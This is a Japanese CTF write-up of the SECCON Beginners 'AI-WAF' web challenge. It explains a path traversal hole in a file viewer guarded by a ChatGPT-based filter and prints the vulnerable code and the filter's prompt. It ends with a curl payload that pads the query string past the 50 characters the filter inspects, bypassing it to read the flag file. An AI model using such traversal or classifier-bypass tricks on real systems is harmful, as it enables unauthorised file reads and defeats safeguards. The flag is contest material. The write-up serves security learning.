これは青空文庫的なWebアプリらしく、各作品には /?file=book0.txt のようにクエリ文字列からファイル名を指定してアクセスできる。ファイル名を指定するといえばパストラバーサル。Dockerfile中の COPY ./ ./ と、それから flag というファイルの存在から、/var/www/flag にフラグがあるとわかっているので、これを読みたい。

ファイルの読み込み処理を見るとこんな感じで file の値をそのままつっこんでいるので、パストラバーサルができそう。../flag みたいなファイルを指定するとよさそうなのだけれども、残念ながら発火しない。

        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read().replace(KEY, "")

というのも、問題名となっているAI-WAFなる機構によって妨害されるためだ。ChatGPTに頼って、送られてきたクエリ文字列についてパストラバーサルっぽいかどうかを判定させており、もしパストラバーサルっぽかったら500を返させている。便利な時代だ。

    # AI-WAF
    puuid = uuid.uuid4()
    prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""
    try:
        response = openai.ChatCompletion.create(
            model="gpt-3.5-turbo",
            messages=[
                {
                    "role": "user",
                    "content": prompt,
                },
            ],
        )
        result = response.choices[0]["message"]["content"].strip()
    except:
        return abort(500, "OpenAI APIのエラーです。\n少し時間をおいてアクセスしてください。")
    if "No" in result:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read().replace(KEY, "")
    return abort(403, "AI-WAFに検知されました👻")

よく見ると、プロンプト中に展開しているクエリ文字列について、urllib.parse.unquote(request.query_string)[:50] と先頭50文字しか使っていない。プロンプトインジェクション的なことをしようかとも考えたけれども、この問題はMiscでなくWebなので、この仕様を悪用する。以下のように、プロンプト中に展開される部分は適当に消費させることで、AI-WAFをバイパスできた。

$ curl "https://aiwaf.beginners.seccon.games/?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabaaaaa&file=../flag"
ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}

フラグが得られた。

ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}

15時57分に解けた。